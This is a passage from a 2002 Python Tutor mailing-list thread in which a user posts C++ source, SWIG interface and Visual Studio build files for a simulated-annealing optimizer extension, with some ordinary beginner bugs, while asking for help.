  int comp;
  switch (criteria) {
  case 'e': /* epsilon-environment of goal must be reached */
    printf ("evaluate::abort(): case 'e' not implemented yet.\n");
    return -1;
    break;
  case 's': /* result must be smaller than goal */
    comp = smaller (&result, goal);
    if (comp < 0) {
      printf ("evaluate::abort():\n");
      printf (" Error while comparing result with goal.\n");
      return -1;
    }
    return comp;
    break;
  case 'g': /* result must be greater than goal */
    comp = greater (&result, goal);
    if (comp < 0) {
      printf ("evaluate::abort():\n");
      printf (" Error while comparing result with goal.\n");
      return -1;
    }
    return comp;
    break;
  case 'n': /* `minchange' has to be exceeded after `n' calculations of
	       result */
    printf ("evaluate::abort(): case 'n' not implemented yet.\n");
    return -1;
    break;
  default:
    printf ("evaluate::abort():\n");
    printf (" Unknown criteria `%c'.\n");
    return -1;
  }
  return 0;
}

--------------030800020909010209070602
Content-Type: text/plain;
 name="evaluate.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="evaluate.h"

#ifndef EVALUATE_H
#define EVALUATE_H

#include "variable.h"

struct evaluate {
  evaluate ();
  ~evaluate ();
  /* criteria is used to choose method to determine end or success of
     optimization.  

     'e': epsilon-environment of goal must be reached 
     's': result must be smaller than goal 
     'g': result must be greater than goal 
     'n': `minchange' has to be exceeded after `n' calculations of
     result 
  */
  char criteria;
  /* goal of optimization. */
  struct variable *goal;
  /* error with which goal may be achieved */
  struct variable *epsilon;
  /* `minchange' has to be exceeded after `n' calculations of result */
  struct variable *minchange;
  int n;

  int abort (struct variable &result);
};

#endif

--------------030800020909010209070602
Content-Type: text/plain;
 name="safe_string.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="safe_string.h"

#ifndef SAFE_STRING_H
#define SAFE_STRING_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//#include "variable.h"

/* This straight-forward string class is intended to make use of
   string operations safe.  Every function is meant to allocate just
   the memory the resulting string needs.  No space is wasted and no
   bytes are written in not-allocated memory.  To garantuee this, the
   'size' of a string is the number of characters stored in the
   string, including the ending '\0'. */
struct string {
  int size;
  char *label;

  string ();
  string ( int s, char *l = NULL );
  string ( char *s, char *l = NULL );
  string ( string &s, char *l = NULL );
  ~string ();

  void clean ();

  char &operator () ( int i )
    {
      check_index ( i );
      return str [i];
    }

  string &operator= ( string &s );

  /* Add a 's' to *this.  (strcat) */
  string &cat ( string &s );
  string &cat ( char *s );
  
  /* copies 's' to *this. (strcpy) */
  string &copy ( string &s );
  string &copy ( char *s );
  /* makes a string (*this) out of d.  Builds format-string for sprintf 
     "%a.decimalf" by calculating a from d. */
  int copy (double d, long int decimal);
  int copy (int i);
  /* copies the content of v to string. */
  int copy (struct variable *v);
  /* builds 'cs' with str of string */
  void out (char **cs);

  /* copies first 'n' bytes of 's' to *this.  (strncpy) */
  string &ncopy ( string &s, int n );
  /* copies 'n' bytes starting at 'offset' of 's' to *this.  (strncpy) */
  string &ncopy ( string &s, int n, int offset );

  /* composes string of 'first' and 'second' with 'inbetween'
     inbetween.  E.g. 'first' containing "first", 'second' containing
     "second" and 'inbetween' containing "." result is
     "first.second". */
  string &compose ( string &first, string &second, char *inbetween );
  string &compose ( string &first, char *second, char *inbetween );
  string &compose ( string &first, double second, char *inbetween );
  string &compose ( string &first, int second, char *inbetween );

  /* returns element i */
  int element ( int i );

  /* compares *this to 's'.  Returnvalues just like strcmp. */
  int compare ( struct string &s );
  int compare ( char *s );

  /* Works like strcspn.  Citing Emacs *info*: 
     The `strcspn' ("string complement span") function returns the
     length of the initial substring of STRING that consists entirely
     of characters that are _not_ members of the set specified by the
     string STOPSET.  (In other words, it returns the offset of the
     first character in STRING that is a member of the set STOPSET.)

     For example,
          strcspn ("hello, world", " \t\n,.;!?")
              => 5
  */
  int string_complement_span ( char *stopset, int offset );
  int string_complement_span ( struct string &stopset, int offset );
  int string_complement_span ( char *stopset );
  
  /* Works like strspn.  Citing Emacs *info*: 
     The `strspn' ("string span") function returns the length of the
     initial substring of STRING that consists entirely of characters
     that are members of the set specified by the string SKIPSET.  The
     order of the characters in SKIPSET is not important.
     
     For example,
          strspn ("hello, world", "abcdefghijklmnopqrstuvwxyz")
              => 5
  */
  int string_span ( struct string &stopset, int offset );
  int string_span ( char *stopset, int offset );
  
  /* Searches 'needle' in *this and copies the substring beginning
     with 'needle' to 'result'.  Return value is 1 if 'needle' is
     found, 0 otherwise.  (strstr) */
  int string_string ( struct string &result, char *needle );
  int string_string ( struct string &result, struct string &needle );
  int string_string ( struct string &result, struct string &needle, 
		      int offset );
  /* Searches character 'c' in *this.  Return value is 1 if 'c' is
     found, 0 otherwise.  (strchr) */
  int string_character ( char c );

  /* In a way like strbrk.  Copies the string beginning with the first
     found member of 'needle' in *this to result.  
  */
  void string_pointer_break ( struct string &result, char *needle );

  /* Interpretes *this as a filename returns a pointer to the file,
     opened in mode 's'.  (fopen) */
  FILE *fileopen ( char *s );
  /* copies the contents of 'file' to *this. */
  int fileread (string &file);
  /* copies the contents of 'file' to *this and returns the number of
     lines. */
  int filereadc (string &file, char count);
  /* writes contents of *this to the file named 'file'.  Mode should
     be "w" or "a" according to fopen(). */
  int filewrite (string &file, char *mode);
  /* writes *this to stream *out. */
  int filewrite (FILE *out);

  /* stdlib's 'system' */
  int system_call ();

  void init ( int s, char *l = NULL );

  protected:
    char *str;
    void check_index ( int i );
};

void print ( struct string &s );

/* print to standard output in the following order: 'first', 'string',
   'last'.  The Elements printed form 'string' may be limited by
   'offset' (first printed element) and 'stop' (last printed
   element). */
void strprint ( struct string &s, char *first = NULL, char *last = NULL ); 
void strprint ( struct string &s, int offset, char *first = NULL, 
		char *last = NULL ); 
void strprint ( struct string &s, int offset, char stop, char *first = NULL, 
		char *last = NULL );

#endif



--------------030800020909010209070602
Content-Type: text/plain;
 name="simanneal.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simanneal.h"

#ifndef SIMANNEAL_H
#define SIMANNEAL_H

#include "variable.h"
#include "safe_string.h"
#include "evaluate.h"

struct simanneal_varlist {
  simanneal_varlist ();
  ~simanneal_varlist ();

  void clean ();
  void clean (struct simanneal_varlist *svl);

  /* copies parametertext's to x_now */
  int pt2xn ();
  struct variablelist *vl;
  struct simanneal_varlist *next;
};

struct simulated_annealing {
  simulated_annealing ();
  simulated_annealing (struct variablelist *vlist, struct basisfile *bf, 
		       struct evaluate *eval, int tm, double tf, 
		       struct string *syscall);
  ~simulated_annealing ();
  /* list of all variables */
  struct variablelist *vl;
  /* list of variables relevant for simulated annealing */
  struct simanneal_varlist *svl;
  /* basisfile text */
  struct basisfile *text;
  /* abort criteria */
  struct evaluate *success;
  /* maximum value of tc */
  int tc_max; /* 100 */
  /* factor of decreasement for temperature, when tc reaches tc_max */
  double t_factor; /* 0.98 */
  /* system call */
  struct string *call;

  int build_varlist ();
  int optimize ();
  int vary_simvarlist ();
  int take_new_result (struct variable &fnew, struct variable &fold, double t);
};

int x_now_2_x_opt (struct simanneal_varlist *svl);

#endif


--------------030800020909010209070602
Content-Type: text/plain;
 name="simannealfile.dsp"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="simannealfile.dsp"

# Microsoft Developer Studio Project File - Name="simannealfile" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** NICHT BEARBEITEN **

# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102

CFG=simannealfile - Win32 Debug
!MESSAGE Dies ist kein gültiges Makefile. Zum Erstellen dieses Projekts mit NMAKE
!MESSAGE verwenden Sie den Befehl "Makefile exportieren" und führen Sie den Befehl
!MESSAGE 
!MESSAGE NMAKE /f "simannealfile.mak".
!MESSAGE 
!MESSAGE Sie können beim Ausführen von NMAKE eine Konfiguration angeben
!MESSAGE durch Definieren des Makros CFG in der Befehlszeile. Zum Beispiel:
!MESSAGE 
!MESSAGE NMAKE /f "simannealfile.mak" CFG="simannealfile - Win32 Debug"
!MESSAGE 
!MESSAGE Für die Konfiguration stehen zur Auswahl:
!MESSAGE 
!MESSAGE "simannealfile - Win32 Release" (basierend auf  "Win32 (x86) Dynamic-Link Library")
!MESSAGE "simannealfile - Win32 Debug" (basierend auf  "Win32 (x86) Dynamic-Link Library")
!MESSAGE 

# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe

!IF  "$(CFG)" == "simannealfile - Win32 Release"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Release"
# PROP Intermediate_Dir "Release"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x407 /d "NDEBUG"
# ADD RSC /l 0x407 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386

!ELSEIF  "$(CFG)" == "simannealfile - Win32 Debug"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "Debug"
# PROP Intermediate_Dir "Debug"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c
# ADD CPP /nologo /MTd /W3 /GX /Od /I "$(PYTHON_INCLUDE)" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x407 /d "_DEBUG"
# ADD RSC /l 0x407 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib $(PYTHON_LIB) /nologo /dll /incremental:no /machine:I386 /out:"simannealfile.dll" /libpath:"C:\Python21\libs"
# SUBTRACT LINK32 /debug

!ENDIF 

# Begin Target

# Name "simannealfile - Win32 Release"
# Name "simannealfile - Win32 Debug"
# Begin Group "Quellcodedateien"

# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File

SOURCE=.\basisfile.cpp
# End Source File
# Begin Source File

SOURCE=.\calculate.cpp
# End Source File
# Begin Source File

SOURCE=.\evaluate.cpp
# End Source File
# Begin Source File

SOURCE=.\safe_string.cpp
# End Source File
# Begin Source File

SOURCE=.\simannealfile.cpp
# End Source File
# Begin Source File

SOURCE=.\simannealfile_wrap.cpp
# End Source File
# Begin Source File

SOURCE=.\variable.cpp
# End Source File
# End Group
# Begin Group "Header-Dateien"

# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File

SOURCE=.\basisfile.h
# End Source File
# Begin Source File

SOURCE=.\calculate.h
# End Source File
# Begin Source File

SOURCE=.\evaluate.h
# End Source File
# Begin Source File

SOURCE=.\safe_string.h
# End Source File
# Begin Source File

SOURCE=.\simanneal.h
# End Source File
# Begin Source File

SOURCE=.\variable.h
# End Source File
# End Group
# Begin Group "Ressourcendateien"

# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# End Group
# Begin Source File

SOURCE=.\simannealfile.i

!IF  "$(CFG)" == "simannealfile - Win32 Release"

!ELSEIF  "$(CFG)" == "simannealfile - Win32 Debug"

# Begin Custom Build - SWIG Routine
ProjDir=.
InputPath=.\simannealfile.i
InputName=simannealfile

"$(ProjDir)\$(InputName)_wrap.cpp" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	echo In order to function correctly, please ensure the following environment variables are correctly set: 
	echo PYTHON_INCLUDE: %PYTHON_INCLUDE% 
	echo PYTHON_LIB: %PYTHON_LIB% 
	echo on 
	swig -python -c++ -o $(ProjDir)\$(InputName)_wrap.cpp $(InputPath) 
	
# End Custom Build

!ENDIF 

# End Source File
# End Target
# End Project

--------------030800020909010209070602
Content-Type: text/plain;
 name="simannealfile.dsw"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="simannealfile.dsw"

Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNUNG: DIESE ARBEITSBEREICHSDATEI DARF NICHT BEARBEITET ODER GELÖSCHT WERDEN!

###############################################################################

Project: "simannealfile"=.\simannealfile.dsp - Package Owner=<4>

Package=<5>
{{{
}}}

Package=<4>
{{{
}}}

###############################################################################

Global:

Package=<5>
{{{
}}}

Package=<3>
{{{
}}}

###############################################################################


--------------030800020909010209070602
Content-Type: text/plain;
 name="simannealfile.i"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simannealfile.i"

%module simannealfile

%{
#include "simanneal.h"
#include "calculate.h"
#include "evaluate.h"
#include "safe_string.h"
#include "calculate.h"
%}


%rename(cleany) simanneal_varlist::clean();
%rename(calc_4args) calculate(struct variable &,struct variablelist *,struct basisfile *,struct string *); 
%rename(cat_string) &string::cat(string &);
%rename(copy_string) &string::copy(string &);
%rename(copy_char) &string::copy(char *);
%rename(copy_dl) string::copy(double ,long );
%rename(copy_i) string::copy(int );
%rename(ncopy_string_i) &string::ncopy(string &,int );
%rename(compose_str_str_char) &string::compose(string &,string &,char *);
%rename(compose_str_char_char) &string::compose(string &,char *,char *);
%rename(compose_str_d_char) &string::compose(string &,double ,char *);
%rename(compose_struct_string) string::compare(struct string &);
%rename(strcompspan_chari) string::string_complement_span(char *,int );
%rename(strcompspan_struct_stringi) string::string_complement_span(struct string &,int );
%rename(stringspan_struct_stringi) string::string_span(struct string &,int );
%rename(stringstring_struct_string_char) string::string_string(struct string &,char *);
%rename(stringstring_structstring_structstring) string::string_string(struct string &,struct string &);
%rename(filewrite_string_char) string::filewrite(string &,char *);
%rename(strprint_structstring_char_char) strprint(struct string &,char *,char *);
%rename(strprint_structstring_int_char_char) strprint(struct string &,int ,char *,char *);
%rename(simulated_annealing_6args) simulated_annealing::simulated_annealing(struct variablelist *,struct basisfile *,struct evaluate *,int ,double ,struct string *);
%rename(string_int_char) string::string(int ,char *);
%rename(string_char_char) string::string(char *,char *);
%rename(string_string_char) string::string(string &,char *);


%include simanneal.h
%include calculate.h
%include evaluate.h
%include safe_string.h
%include calculate.h




--------------030800020909010209070602
Content-Type: text/html;
 name="simannealfile.plg"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="simannealfile.plg"

<html>
<body>
<pre>
<h1>Erstellungsprotokoll</h1>
<h3>
--------------------Konfiguration: simannealfile - Win32 Debug--------------------
</h3>
<h3>Befehlszeilen</h3>
Erstellen der temporären Datei  "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat" mit Inhalten
[
@echo off
echo In order to function correctly, please ensure the following environment variables are correctly set:
echo PYTHON_INCLUDE: %PYTHON_INCLUDE%
echo PYTHON_LIB: %PYTHON_LIB%
echo on
swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i
]
Erstellen der Befehlzeile "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat"
Erstellen der temporären Datei  "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" mit Inhalten
[
/nologo /MTd /W3 /GX /Od /I "c:\python21\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /Fp"Debug/simannealfile.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c 
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\basisfile.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\calculate.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\evaluate.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\safe_string.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile_wrap.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\variable.cpp"
]
Creating command line "cl.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" 
SWIG Routine
In order to function correctly, please ensure the following environment variables are correctly set:
PYTHON_INCLUDE: c:\python21\include
PYTHON_LIB: c:\python21\libs\python21.lib

C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile>swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i 
Erstellen der temporären Datei  "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp" mit Inhalten
[
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib c:\python21\libs\python21.lib /nologo /dll /incremental:no /pdb:"Debug/simannealfile.pdb" /machine:I386 /out:"simannealfile.dll" /implib:"Debug/simannealfile.lib" /libpath:"C:\Python21\libs" 
.\Debug\basisfile.obj
.\Debug\calculate.obj
.\Debug\evaluate.obj
.\Debug\safe_string.obj
.\Debug\simannealfile.obj
.\Debug\simannealfile_wrap.obj
.\Debug\variable.obj
]
Erstellen der Befehlzeile "link.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp"
<h3>Ausgabefenster</h3>
Kompilierung läuft...
basisfile.cpp
calculate.cpp
evaluate.cpp
safe_string.cpp
simannealfile.cpp
simannealfile_wrap.cpp
variable.cpp
Linker-Vorgang läuft...
   Bibliothek Debug/simannealfile.lib und Objekt Debug/simannealfile.exp wird erstellt



<h3>Ergebnisse</h3>
simannealfile.dll - 0 Fehler, 0 Warnung(en)
</pre>
</body>
</html>

--------------030800020909010209070602
Content-Type: text/plain;
 name="simannealfile.py"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simannealfile.py"

#import string,re,sys,glob,operator
import simannealfile

#instance1=simannealfile.simulated_annealing

#print 'test=',instance1


--------------030800020909010209070602
Content-Type: text/plain;
 name="variable.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="variable.cpp"

#include "variable.h"
#include "basisfile.h"

variable::variable () {
  sv = NULL;
  dprecision = 6;
  type = '0';
}

variable::variable (char t) {
  init (t);
}

variable::variable (double d, int prec) {
  init (d, prec);
}

variable::variable (int i) {
  init (i);
}

variable::variable (struct string &s) {
  init (s);
}

variable::~variable () {
}


void variable::init (char t) {
  type = t;
  sv = NULL;
}

void variable::init (double d, int prec) {
  sv = NULL;
  dv = d;
  dprecision = prec;
  type = 'd';
}

void variable::init (int i) {
  sv = NULL;
  iv = i;
  type = 'i';
}

void variable::init (struct string &s) {
  sv = new struct string;
  sv->copy (s);
  type = 's';
}

struct variable &variable::operator= (struct variable &v) {
  (*this).type = v.type;
  switch (v.type) {
  case 'd':
    (*this).dv = v.dv;
    (*this).dprecision = v.dprecision;
    break;
  case 'i':
    (*this).iv = v.iv;
    break;
  case 's':
    (*this).sv = new struct string;
    (*this).sv->copy (*(v.sv));
    break;
  default:
    printf ("&variable::operator= (struct variable &v):\n ");
    printf ("Unknown type `%c'.\n", v.type);
    exit (1);
    break;
  }
  return *this;
}

int variable::copy (struct string &s) {
  char *str;
  s.out (&str);
  switch (type) {
  case 'd' : /* double value */
    if (!sscanf(str, "%lf", &dv)) {
      printf ("variable::copy (struct string &s):\n ");
      printf ("Error while reading double value in from string:\n ");
      strprint (s, "`", "'\n");
      return 1;
    }
    break;
  case 'i' : /* integer value */
    if (!sscanf(str, "%d", &dv)) {
      printf ("variable::copy (struct string &s):\n ");
      printf ("Error while reading integer value in from string:\n ");
      strprint (s, "`", "'\n");
      return 1;
    }
    break;
    break;
  case 's' : /* string value */
    sv = new struct string (s);
    break;
  default :
    printf ("variable::copy (struct string &s):\n ");
    printf ("Unknown type of variable `%c'.\n", type);
    return 1;
  }
  return 0;
}

simanneal_parameter::simanneal_parameter () {
  dx = NULL;
}

simanneal_parameter::~simanneal_parameter () {
  if (dx) {
    delete dx;
    dx = NULL;
  }
}

variablelist::variablelist () {
  next = NULL;
  text = NULL;
  x_now = NULL;
  x_opt = NULL;
  x_min = NULL;
  x_max = NULL;
  sap = NULL;
}

variablelist::~variablelist () {
  clean ();
}

void variablelist::clean () {
  clean (this);
}

void variablelist::clean (struct variablelist *vl) {
  if (vl) {
    if (vl->next) {
      clean (vl->next);
      vl->next = NULL;
    }
    preseparator.clean ();
    pastseparator.clean ();
    if (x_opt) {
      delete x_opt;
      x_opt = NULL;
    }
    if (x_now) {
      delete x_now;
      x_now = NULL;
    }
    if (x_min) {
      delete x_min;
      x_min = NULL;
    }
    if (x_max) {
      delete x_max;
      x_max = NULL;
    }
    if (text) {
      delete text;
      text = NULL;
    }
    if (sap) {
      delete sap;
      sap = NULL;
    }
  }
}

int variablelist::pt2xn (int n) {
  int i=0;
  struct variablelist *help = this;
  
  while (help && i<n) {
    if (help->x_now->copy (help->text->parameter_text)) {
      printf ("variablelist::pt2xn (int n):\n ");
      printf ("Error while copying parameter_text to x_now.\n");
      return 1;
    }
    help = help->next;
    i++;
  }
  return 0;
}

int read_double (double &dv, struct variable *v) {
  if (v->type == 'd') {
    dv = v->dv;
    return 0;
  }
  printf ("read_double:\n");
  printf (" variable contains `%c'-value instead of double (`d').\n", v->type);
  return 1;
}


int random_step (struct variable *point, struct variable *intervall) {
  double p, i;
  switch (point->type) {
  case 'd' : /* double value */
    if (read_double(p, point)) {
      printf("random_step:\n Error while reading point.\n");
      return 1;
    }
    if (read_double(i, intervall)) {
      printf("random_step:\n Error while reading intervall.\n");
      return 1;
    }
    point->dv = point->dv - i + 2*i*rand()/RAND_MAX; 
    break;
  case 'i' : /* integer value */
    printf ("random_step:\n Stepping with integers isn't implemented yet.\n");
    return 1;
    break;
  case 's' : /* string value */
    printf ("random_step:\n Stepping with strings isn't implemented yet.\n");
    return 1;
    break;
  default :
    printf ("random_step:\n Unknown type of point `%c'.\n", point->type);
    return 1;
  }
  return 0;
}

int smaller (struct variable *v1, struct variable *v2) {
  switch (v1->type) {
  case 'd' : /* double value */
    double d2;
    if (read_double(d2, v2)) {
      printf("smaller:\n Error while reading v2.\n");
      return -1;
    }
    return (v1 < v2);
    break;
  case 'i' : /* integer value */
    printf ("smaller:\n Comparison with integers isn't implemented yet.\n");
    return -1;
    break;
  case 's' : /* string value */
    printf ("smaller:\n Comparison with strings isn't implemented yet.\n");
    return -1;
    break;
  default :
    printf ("smaller:\n Unknown type of v1 `%c'.\n", v1->type);
    return -1;
  }
  return 0;
}

int greater (struct variable *v1, struct variable *v2) {
  switch (v1->type) {
  case 'd' : /* double value */
    double d2;
    if (read_double(d2, v2)) {
      printf("greater:\n Error while reading v2.\n");
      return -1;
    }
    return (v1 > v2);
    break;
  case 'i' : /* integer value */
    printf ("greater:\n Comparison with integers isn't implemented yet.\n");
    return -1;
    break;
  case 's' : /* string value */
    printf ("greater:\n Comparison with strings isn't implemented yet.\n");
    return -1;
    break;
  default :
    printf ("greater:\n Unknown type of v1 `%c'.\n", v1->type);
    return -1;
  }
  return 0;
}

--------------030800020909010209070602
Content-Type: text/plain;
 name="variable.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="variable.h"

#ifndef VARIABLE_H
#define VARIABLE_H

#include "safe_string.h"

struct variable {
  variable ();
  variable (char t);
  variable (double d, int prec = 6);
  variable (int i);
  variable (struct string &s);
  ~variable ();

  struct variable &operator = (struct variable &v); 

  void init (char t);
  void init (double d, int prec = 6);
  void init (int i);
  void init (struct string &s);
  
  int copy (struct string &s);

  char type;
  double dv;
  int dprecision;
  int iv;
  struct string *sv;
};

struct simanneal_parameter {
  simanneal_parameter ();
  ~simanneal_parameter ();

  /* maximum of deviation from actual x */
  struct variable *dx;
};

struct variablelist {
  variablelist ();
  ~variablelist ();

  void clean ();
  void clean (struct variablelist *vl);

  int number;
  int linenumber;
  int position;
  struct string preseparator;
  struct string pastseparator;
  struct string *x_opt;
  struct variable *x_now;
  struct variable *x_min;
  struct variable *x_max;
  struct filetext *text;

  struct variablelist *next;

  /* parameter for simulated annealing for one variable. */
  struct simanneal_parameter *sap;

  /* copies parametertext's to x_now for n variables.*/
  int pt2xn (int n);
};

int read_double (double &dv, struct variable *v);
int smaller (struct variable *v1, struct variable *v2);
int greater (struct variable *v1, struct variable *v2);
/* builds new point from point and intervall randomly.  New point is
   inside intervall [point-intervall; point+intervall]. */
int random_step (struct variable *point, struct variable *intervall);
void print (struct variablelist *vl);
#endif

--------------030800020909010209070602--



From m_konermann@gmx.de  Sun Feb  3 16:33:58 2002
From: m_konermann@gmx.de (Keule)
Date: Sun, 03 Feb 2002 17:33:58 +0100
Subject: [Tutor] C++ Extension Problems (Part2)
Message-ID: <3C5D6676.3040100@gmx.de>

This is a multi-part message in MIME format.
--------------050100040109000407040706
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi !

Here are the missing 3 files , sending seperate, because of the 
Limitation of 40 kb/mail.

Greetings
Marcus

--------------050100040109000407040706
Content-Type: text/plain;
 name="basisfile.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="basisfile.cpp"

#include "basisfile.h"

filetext::filetext () {
  tlln = 0;
  tfln = 0;
  variable_pointer = NULL;
  next = NULL;
}

filetext::~filetext () {
  clean ();
}


void filetext::clean () {
  clean (this);
}

void filetext::clean (struct filetext *ft) {
  if (ft) {
    if (ft->next) { 
      clean (ft->next);
      ft->next = NULL;
    }
    variable_pointer = NULL;
    text.clean ();
    parameter_text.clean ();
  }
}

basisfile::basisfile () {
  filename = NULL;
  text = NULL;
}

basisfile::basisfile (struct string &fn) {
  filename = new struct string;
  filename->copy (fn);
  text = NULL;
}

basisfile::basisfile (char *fn) {
  init (fn);
}

basisfile::~basisfile () {
  clean ();
}

void basisfile::init (char *fn) {
  filename = new struct string;
  filename->copy (fn);
  text = NULL;
}
  

void basisfile::clean () {
  if (filename) {
    delete filename;
    filename = NULL;
  }
  if (text) {
    delete text;
    text = NULL;
  }
}

int basisfile::readfile () {
  if (!filename->size) {
    printf ("basisfile::readfile:\n No filename to read specified.\n");
    return 1;
  }
  
  /* initialize text-pointer */
  text = new struct filetext;
    
  /* Copy complete input file to text */
  text->tfln = 1;
  if ((text->tlln = text->text.filereadc (*filename, '\n')) < 0) {
    printf ("basisfile::readfile ():\n ");
    strprint (*filename, "Error while reading file `", "'.\n");
    return 1;
  }
  
  return 0;
}


int basisfile::writefile (string &otherfilename, char *mode) {
  struct filetext *help = this->text;
    
  if ( (*mode != 'a') && (*mode != 'w') ) {
    printf ("basisfile::writefile:\n Invalid mode %s ", mode);
    strprint (otherfilename, "for writing to file `", "'.\n");
    return 1;
  }
  
  FILE *out = otherfilename.fileopen (mode);

  if (out)
    while (help != NULL) {
      if (help->text.size)
	help->text.filewrite (out);
      if (help->parameter_text.size)
	help->parameter_text.filewrite (out);
      help = help->next;
    }
  else {
    strprint (otherfilename, "basisfile::writefile:\n Unable to open file `",
	      "'");
    printf (" with mode %s.\n", mode);
    return 2;
  }

  while (help != NULL) {
    if (help->text.size)
      help->text.filewrite (otherfilename, "a");
    if (help->parameter_text.size)
      help->parameter_text.filewrite (otherfilename, "a");
    help = help->next;
  }
  
  return 0;
}


int basisfile::writefile (char *mode) {
  struct filetext *help = this->text;
    
  if ( (*mode != 'a') && (*mode != 'w') ) {
    printf ("basisfile::writefile:\n Invalid mode %s ", mode);
    strprint (*filename, "for writing to file `", "'.\n");
    return 1;
  }
  
  FILE *out = filename->fileopen (mode);

  if (out) {
    while (help != NULL) {
      if (help->text.size)
	help->text.filewrite (out);
      if (help->parameter_text.size)
	help->parameter_text.filewrite (out);
      help = help->next;
    }
    fclose (out);
  }
  else {
